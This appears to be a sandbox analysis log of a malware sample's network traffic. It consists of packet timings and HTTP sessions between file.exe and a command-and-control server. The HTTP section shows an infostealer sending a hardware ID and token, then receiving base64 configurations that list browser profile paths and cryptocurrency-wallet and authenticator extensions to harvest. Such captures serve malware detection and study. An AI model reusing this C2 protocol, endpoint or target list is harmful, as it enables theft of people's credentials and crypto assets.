Aug 31, 2024 10:14:16.535903931 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.535911083 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.535913944 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.535923958 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.535928011 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.535934925 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.535943985 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.535944939 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.535955906 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.535963058 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.535973072 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.535993099 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536001921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.536001921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.536003113 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536050081 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.536050081 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.536139965 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536151886 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536163092 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536174059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536184072 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536191940 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.536195993 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536216021 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536221981 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.536227942 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536241055 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.536248922 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536259890 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536276102 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536279917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.536279917 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.536287069 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536293030 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536298037 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536309958 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536315918 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.536333084 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.536375046 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:16.536385059 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536396027 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536406040 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:16.536489010 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:17.734400988 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:17.734426975 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:17.741923094 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:17.742125988 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:18.548022985 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:18.548238039 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:18.604971886 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:18.609777927 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:18.849240065 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:18.849246025 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:18.849258900 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:18.851207972 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:18.851207972 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:18.855986118 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:19.095191956 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:19.096461058 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:19.104587078 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:19.109360933 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:19.894722939 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:19.894834042 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:19.917273998 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:19.922100067 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:20.166136980 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:20.166150093 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:20.166162968 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:20.166171074 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:20.166209936 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:20.166240931 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:20.166500092 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:20.166510105 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:20.166520119 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:20.166549921 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:20.166574001 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:20.167670965 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:20.172425985 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:21.006186962 CEST	80	49704	185.215.113.100	192.168.2.5
Aug 31, 2024 10:14:21.006273985 CEST	49704	80	192.168.2.5	185.215.113.100
Aug 31, 2024 10:14:25.304424047 CEST	49704	80	192.168.2.5	185.215.113.100

HTTP Request Dependency Graph

185.215.113.100

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	185.215.113.100	80	6600	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Aug 31, 2024 10:14:00.983134985 CEST	90	OUT	GET / HTTP/1.1 Host: 185.215.113.100 Connection: Keep-Alive Cache-Control: no-cache
Aug 31, 2024 10:14:01.727256060 CEST	203	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:01 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Aug 31, 2024 10:14:01.730932951 CEST	413	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBGCGDBKEGHIEBGDBFHD Host: 185.215.113.100 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 33 36 32 31 38 41 35 41 38 43 36 32 35 30 37 32 38 36 39 35 38 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6c 65 76 61 0d 0a 2d 2d 2d 2d 2d 2d 43 42 47 43 47 44 42 4b 45 47 48 49 45 42 47 44 42 46 48 44 2d 2d 0d 0a Data Ascii: ------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="hwid"A36218A5A8C62507286958------CBGCGDBKEGHIEBGDBFHDContent-Disposition: form-data; name="build"leva------CBGCGDBKEGHIEBGDBFHD--
Aug 31, 2024 10:14:01.990170956 CEST	407	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:01 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 180 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 54 63 7a 5a 6a 4e 6c 59 54 68 6b 59 7a 4e 6c 4f 47 51 78 5a 57 56 68 4e 47 4e 6b 4d 57 5a 6c 4f 57 51 33 59 7a 59 79 5a 44 59 35 4e 47 5a 68 4e 6d 55 35 59 54 41 30 4e 54 55 33 4e 54 63 32 4d 32 4e 6b 59 6a 52 6c 4d 6a 46 6c 4d 7a 45 78 4e 47 52 6a 4e 6a 55 30 4d 6d 45 79 4e 54 4e 6b 66 48 64 72 61 32 70 78 59 57 6c 68 65 47 74 6f 59 6e 78 7a 62 57 70 73 62 47 31 35 62 57 78 69 65 6e 45 75 63 48 64 6b 66 44 42 38 4d 48 77 78 66 44 46 38 4d 58 77 78 66 44 46 38 4d 58 77 77 66 48 6c 69 62 6d 4e 69 61 48 6c 73 5a 58 42 74 5a 58 77 3d Data Ascii: YTczZjNlYThkYzNlOGQxZWVhNGNkMWZlOWQ3YzYyZDY5NGZhNmU5YTA0NTU3NTc2M2NkYjRlMjFlMzExNGRjNjU0MmEyNTNkfHdra2pxYWlheGtoYnxzbWpsbG15bWxienEucHdkfDB8MHwxfDF8MXwxfDF8MXwwfHlibmNiaHlsZXBtZXw=
Aug 31, 2024 10:14:02.019675016 CEST	470	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DAKEHIJJKEGIDHIEHDAF Host: 185.215.113.100 Content-Length: 268 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 45 48 49 4a 4a 4b 45 47 49 44 48 49 45 48 44 41 46 2d 2d 0d 0a Data Ascii: ------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------DAKEHIJJKEGIDHIEHDAFContent-Disposition: form-data; name="message"browsers------DAKEHIJJKEGIDHIEHDAF--
Aug 31, 2024 10:14:02.265074968 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:02 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 1520 Keep-Alive: timeout=5, max=98 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 58 78 63 52 32 39 76 5a 32 78 6c 58 45 4e 6f 63 6d 39 74 5a 56 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 47 4e 6f 63 6d 39 74 5a 53 35 6c 65 47 56 38 52 32 39 76 5a 32 78 6c 49 45 4e 6f 63 6d 39 74 5a 53 42 44 59 57 35 68 63 6e 6c 38 58 45 64 76 62 32 64 73 5a 56 78 44 61 48 4a 76 62 57 55 67 55 33 68 54 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 59 32 68 79 62 32 31 6c 4c 6d 56 34 5a 58 78 44 61 48 4a 76 62 57 6c 31 62 58 78 63 51 32 68 79 62 32 31 70 64 57 31 63 56 58 4e 6c 63 69 42 45 59 58 52 68 66 47 4e 6f 63 6d 39 74 5a 58 78 6a 61 48 4a 76 62 57 55 75 5a 58 68 6c 66 45 46 74 61 57 64 76 66 46 78 42 62 57 6c 6e 62 31 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 56 47 39 79 59 32 68 38 58 46 52 76 63 6d 4e 6f 58 46 56 7a 5a 58 49 67 52 47 46 30 59 58 78 6a 61 48 4a 76 62 57 56 38 4d 48 78 57 61 58 5a 68 62 47 52 70 66 46 78 57 61 58 5a 68 62 47 52 70 58 46 [TRUNCATED] Data Ascii: R29vZ2xlIENocm9tZXxcR29vZ2xlXENocm9tZVxVc2VyIERhdGF8Y2hyb21lfGNocm9tZS5leGV8R29vZ2xlIENocm9tZSBDYW5hcnl8XEdvb2dsZVxDaHJvbWUgU3hTXFVzZXIgRGF0YXxjaHJvbWV8Y2hyb21lLmV4ZXxDaHJvbWl1bXxcQ2hyb21pdW1cVXNlciBEYXRhfGNocm9tZXxjaHJvbWUuZXhlfEFtaWdvfFxBbWlnb1xVc2VyIERhdGF8Y2hyb21lfDB8VG9yY2h8XFRvcmNoXFVzZXIgRGF0YXxjaHJvbWV8MHxWaXZhbGRpfFxWaXZhbGRpXFVzZXIgRGF0YXxjaHJvbWV8dml2YWxkaS5leGV8Q29tb2RvIERyYWdvbnxcQ29tb2RvXERyYWdvblxVc2VyIERhdGF8Y2hyb21lfDB8RXBpY1ByaXZhY3lCcm93c2VyfFxFcGljIFByaXZhY3kgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8Q29jQ29jfFxDb2NDb2NcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8QnJhdmV8XEJyYXZlU29mdHdhcmVcQnJhdmUtQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyYXZlLmV4ZXxDZW50IEJyb3dzZXJ8XENlbnRCcm93c2VyXFVzZXIgRGF0YXxjaHJvbWV8MHw3U3RhcnxcN1N0YXJcN1N0YXJcVXNlciBEYXRhfGNocm9tZXwwfENoZWRvdCBCcm93c2VyfFxDaGVkb3RcVXNlciBEYXRhfGNocm9tZXwwfE1pY3Jvc29mdCBFZGdlfFxNaWNyb3NvZnRcRWRnZVxVc2VyIERhdGF8Y2hyb21lfG1zZWRnZS5leGV8MzYwIEJyb3dzZXJ8XDM2MEJyb3dzZXJcQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfDB8UVFCcm93c2VyfFxUZW5jZW50XFFRQnJvd3Nl
Aug 31, 2024 10:14:02.267354965 CEST	164	IN	Data Raw: 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 68 79 62 32 31 6c 66 44 42 38 51 33 4a 35 63 48 52 76 56 47 46 69 66 46 78 44 63 6e 6c 77 64 47 39 55 59 57 49 67 51 6e 4a 76 64 33 4e 6c 63 6c 78 56 63 32 56 79 49 45 52 68 64 47 46 38 59 32 Data Ascii: clxVc2VyIERhdGF8Y2hyb21lfDB8Q3J5cHRvVGFifFxDcnlwdG9UYWIgQnJvd3NlclxVc2VyIERhdGF8Y2hyb21lfGJyb3dzZXIuZXhlfE9wZXJhIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhl
Aug 31, 2024 10:14:02.399219990 CEST	348	IN	Data Raw: 66 45 39 77 5a 58 4a 68 49 45 64 59 49 46 4e 30 59 57 4a 73 5a 58 78 63 54 33 42 6c 63 6d 45 67 55 32 39 6d 64 48 64 68 63 6d 56 38 62 33 42 6c 63 6d 46 38 62 33 42 6c 63 6d 45 75 5a 58 68 6c 66 45 31 76 65 6d 6c 73 62 47 45 67 52 6d 6c 79 5a 57 Data Ascii: fE9wZXJhIEdYIFN0YWJsZXxcT3BlcmEgU29mdHdhcmV8b3BlcmF8b3BlcmEuZXhlfE1vemlsbGEgRmlyZWZveHxcTW96aWxsYVxGaXJlZm94XFByb2ZpbGVzfGZpcmVmb3h8MHxQYWxlIE1vb258XE1vb25jaGlsZCBQcm9kdWN0aW9uc1xQYWxlIE1vb25cUHJvZmlsZXN8ZmlyZWZveHwwfE9wZXJhIENyeXB0byBTdGFibGV
Aug 31, 2024 10:14:02.405746937 CEST	469	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJDGHCBGDHIECBGIDAE Host: 185.215.113.100 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 61 37 33 66 33 65 61 38 64 63 33 65 38 64 31 65 65 61 34 63 64 31 66 65 39 64 37 63 36 32 64 36 39 34 66 61 36 65 39 61 30 34 35 35 37 35 37 36 33 63 64 62 34 65 32 31 65 33 31 31 34 64 63 36 35 34 32 61 32 35 33 64 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 48 4a 4a 44 47 48 43 42 47 44 48 49 45 43 42 47 49 44 41 45 2d 2d 0d 0a Data Ascii: ------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="token"a73f3ea8dc3e8d1eea4cd1fe9d7c62d694fa6e9a045575763cdb4e21e3114dc6542a253d------HJJDGHCBGDHIECBGIDAEContent-Disposition: form-data; name="message"plugins------HJJDGHCBGDHIECBGIDAE--
Aug 31, 2024 10:14:02.651240110 CEST	1236	IN	HTTP/1.1 200 OK Date: Sat, 31 Aug 2024 08:14:02 GMT Server: Apache/2.4.52 (Ubuntu) Vary: Accept-Encoding Content-Length: 7116 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 54 57 56 30 59 55 31 68 63 32 74 38 5a 47 70 6a 62 47 4e 72 61 32 64 73 5a 57 4e 6f 62 32 39 69 62 47 35 6e 5a 32 68 6b 61 57 35 74 5a 57 56 74 61 32 4a 6e 59 32 6c 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 5a 57 70 69 59 57 78 69 59 57 74 76 63 47 78 6a 61 47 78 6e 61 47 56 6a 5a 47 46 73 62 57 56 6c 5a 57 46 71 62 6d 6c 74 61 47 31 38 4d 58 77 77 66 44 42 38 54 57 56 30 59 55 31 68 63 32 74 38 62 6d 74 69 61 57 68 6d 59 6d 56 76 5a 32 46 6c 59 57 39 6c 61 47 78 6c 5a 6d 35 72 62 32 52 69 5a 57 5a 6e 63 47 64 72 62 6d 35 38 4d 58 77 77 66 44 42 38 56 48 4a 76 62 6b 78 70 62 6d 74 38 61 57 4a 75 5a 57 70 6b 5a 6d 70 74 62 57 74 77 59 32 35 73 63 47 56 69 61 32 78 74 62 6d 74 76 5a 57 39 70 61 47 39 6d 5a 57 4e 38 4d 58 77 77 66 44 42 38 51 6d 6c 75 59 57 35 6a 5a 53 42 58 59 57 78 73 5a 58 52 38 5a 6d 68 69 62 32 68 70 62 57 46 6c 62 47 4a 76 61 48 42 71 59 6d 4a 73 5a 47 4e 75 5a 32 4e 75 59 58 42 75 5a 47 39 6b 61 6e 42 38 4d 58 77 77 66 44 42 38 57 57 39 79 62 32 6c 38 5a 6d [TRUNCATED] Data Ascii: TWV0YU1hc2t8ZGpjbGNra2dsZWNob29ibG5nZ2hkaW5tZWVta2JnY2l8MXwwfDB8TWV0YU1hc2t8ZWpiYWxiYWtvcGxjaGxnaGVjZGFsbWVlZWFqbmltaG18MXwwfDB8TWV0YU1hc2t8bmtiaWhmYmVvZ2FlYW9laGxlZm5rb2RiZWZncGdrbm58MXwwfDB8VHJvbkxpbmt8aWJuZWpkZmptbWtwY25scGVia2xtbmtvZW9paG9mZWN8MXwwfDB8QmluYW5jZSBXYWxsZXR8Zmhib2hpbWFlbGJvaHBqYmJsZGNuZ2NuYXBuZG9kanB8MXwwfDB8WW9yb2l8ZmZuYmVsZmRvZWlvaGVua2ppYm5tYWRqaWVoamhhamJ8MXwwfDB8Q29pbmJhc2UgV2FsbGV0IGV4dGVuc2lvbnxobmZhbmtub2NmZW9mYmRkZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBMaWJlcnR5fGNqZWxmcGxwbGViZGpqZW5sbHBqY2JsbWprZmNmZm5lfDF8MHwwfGlXYWxsZXR8a25jY2hkaWdvYmdoZW5iYmFkZG9qam5uYW9nZnBwZmp8MXwwfDB8TUVXIENYfG5sYm1ubmlqY25sZWdrampwY2ZqY2xtY2ZnZ2ZlZmRtfDF8MHwwfEd1aWxkV2FsbGV0fG5hbmptZGtuaGtpbmlmbmtnZGNnZ2NmbmhkYWFtbW1qfDF8MHwwfFJvbmluIFdhbGxldHxmbmpobWtoaG1rYmpra2FibmRjbm5vZ2Fnb2dibmVlY3wxfDB8MHxOZW9MaW5lfGNwaGhsZ21nYW1lb2RuaGtqZG1rcGFubGVsbmxvaGFvfDF8MHwwfENMViBXYWxsZXR8bmhua2JrZ2ppa2djaWdhZG9ta3BoYWxhbm5kY2Fwamt8MXwwfDB8TGlxdWFsaXR5
Aug 31, 2024 10:14:02.651251078 CEST	164	IN	Data Raw: 49 46 64 68 62 47 78 6c 64 48 78 72 63 47 5a 76 63 47 74 6c 62 47 31 68 63 47 4e 76 61 58 42 6c 62 57 5a 6c 62 6d 52 74 5a 47 4e 6e 61 47 35 6c 5a 32 6c 74 62 6e 77 78 66 44 42 38 4d 48 78 55 5a 58 4a 79 59 53 42 54 64 47 46 30 61 57 39 75 49 46 Data Ascii: IFdhbGxldHxrcGZvcGtlbG1hcGNvaXBlbWZlbmRtZGNnaG5lZ2ltbnwxfDB8MHxUZXJyYSBTdGF0aW9uIFdhbGxldHxhaWlmYm5iZm9icG1lZWtpcGhlZWlqaW1kcG5scGdwcHwxfDB8MHxLZXBscnxkbWthbWNrbm9n
Aug 31, 2024 10:14:02.651271105 CEST	1236	IN	Data Raw: 61 32 64 6a 5a 47 5a 6f 61 47 4a 6b 5a 47 4e 6e 61 47 46 6a 61 47 74 6c 61 6d 56 68 63 48 77 78 66 44 42 38 4d 48 78 54 62 32 78 73 5a 58 52 38 5a 6d 68 74 5a 6d 56 75 5a 47 64 6b 62 32 4e 74 59 32 4a 74 5a 6d 6c 72 5a 47 4e 76 5a 32 39 6d 63 47 Data Ascii: a2djZGZoaGJkZGNnaGFjaGtlamVhcHwxfDB8MHxTb2xsZXR8ZmhtZmVuZGdkb2NtY2JtZmlrZGNvZ29mcGhpbW5rbm98MXwwfDB8QXVybyBXYWxsZXQoTWluYSBQcm90b2NvbCl8Y25tYW1hYWNocHBua2pnbmlsZHBkbWthYWtlam5oYWV8MXwwfDB8UG9seW1lc2ggV2FsbGV0fGpvamhmZW9lZGtwa2dsYmZpbWRmYWJwZGZ
Aug 31, 2024 10:14:02.651282072 CEST	1236	IN	Data Raw: 5a 47 70 6b 62 6d 35 76 61 6d 74 69 5a 32 6c 76 61 57 39 6b 59 6d 6c 6a 66 44 46 38 4d 48 77 77 66 45 4e 35 59 57 35 76 49 46 64 68 62 47 78 6c 64 48 78 6b 61 32 52 6c 5a 47 78 77 5a 32 52 74 62 57 74 72 5a 6d 70 68 59 6d 5a 6d 5a 57 64 68 62 6d Data Ascii: ZGpkbm5vamtiZ2lvaW9kYmljfDF8MHwwfEN5YW5vIFdhbGxldHxka2RlZGxwZ2RtbWtrZmphYmZmZWdhbmllYW1ma2xrbXwxfDB8MHxLSEN8aGNmbHBpbmNwcHBkY2xpbmVhbG1hbmRpamNtbmtiZ258MXwwfDB8VGV6Qm94fG1uZmlmZWZrYWpnb2ZrY2prZW1pZGlhZWNvY25ramVofDF8MHwwfFRlbXBsZXxvb2tqbGJraWl
Aug 31, 2024 10:14:02.651303053 CEST	328	IN	Data Raw: 63 79 42 58 59 57 78 73 5a 58 52 38 5a 57 5a 69 5a 32 78 6e 62 32 5a 76 61 58 42 77 59 6d 64 6a 61 6d 56 77 62 6d 68 70 59 6d 78 68 61 57 4a 6a 62 6d 4e 73 5a 32 74 38 4d 58 77 77 66 44 42 38 52 6d 6c 75 62 6d 6c 6c 66 47 4e 71 62 57 74 75 5a 47 Data Ascii: cyBXYWxsZXR8ZWZiZ2xnb2ZvaXBwYmdjamVwbmhpYmxhaWJjbmNsZ2t8MXwwfDB8RmlubmllfGNqbWtuZGpobmFnY2ZicGllbW5rZHBvbWNjbmpibG1qfDF8MHwwfExlYXAgVGVycmEgV2FsbGV0fGFpamNiZWRvaWptZ25sbWplZWdqYWdsbWVwYm1wa3BpfDF8MHwwfFRyZXpvciBQYXNzd29yZCBNYW5hZ2VyfGltbG9pZmt
Aug 31, 2024 10:14:02.651384115 CEST	1236	IN	Data Raw: 5a 32 39 76 62 32 46 6b 5a 47 6c 75 63 47 74 69 59 57 6c 38 4d 58 77 77 66 44 42 38 51 58 56 30 61 48 6c 38 5a 32 46 6c 5a 47 31 71 5a 47 5a 74 62 57 46 6f 61 47 4a 71 5a 57 5a 6a 59 6d 64 68 62 32 78 6f 61 47 46 75 62 47 46 76 62 47 4a 38 4d 58 Data Ascii: Z29vb2FkZGlucGtiYWl8MXwwfDB8QXV0aHl8Z2FlZG1qZGZtbWFoaGJqZWZjYmdhb2xoaGFubGFvbGJ8MXwwfDB8RU9TIEF1dGhlbnRpY2F0b3J8b2VsamRsZHBubWRiY2hvbmllbGlkZ29iZGRmZmZsYWx8MXwwfDB8R0F1dGggQXV0aGVudGljYXRvcnxpbGdjbmhlbHBjaG5jZWVpcGlwaWphbGprYmxiY29ibHwxfDB8MHx
Aug 31, 2024 10:14:02.651420116 CEST	1236	IN	Data Raw: 59 6d 39 33 49 46 64 68 62 47 78 6c 64 48 78 76 63 47 5a 6e 5a 57 78 74 59 32 31 69 61 57 46 71 59 57 31 6c 63 47 35 74 62 47 39 70 61 6d 4a 77 62 32 78 6c 61 57 46 74 59 58 77 78 66 44 42 38 4d 48 78 4f 61 57 64 6f 64 47 78 35 49 46 64 68 62 47 Data Ascii: Ym93IFdhbGxldHxvcGZnZWxtY21iaWFqYW1lcG5tbG9pamJwb2xlaWFtYXwxfDB8MHxOaWdodGx5IFdhbGxldHxmaWlrb21tZGRiZWNjYW9pY29lam9uaWFtbW5hbGtmYXwxfDB8MHxFY3RvIFdhbGxldHxiZ2pvZ3BvaWRlamRlbWdvb2NocG5rbWRqcG9jZ2toYXwxfDB8MHxDb2luaHVifGpnYWFpbWFqaXBicGRvZ3BkZ2x
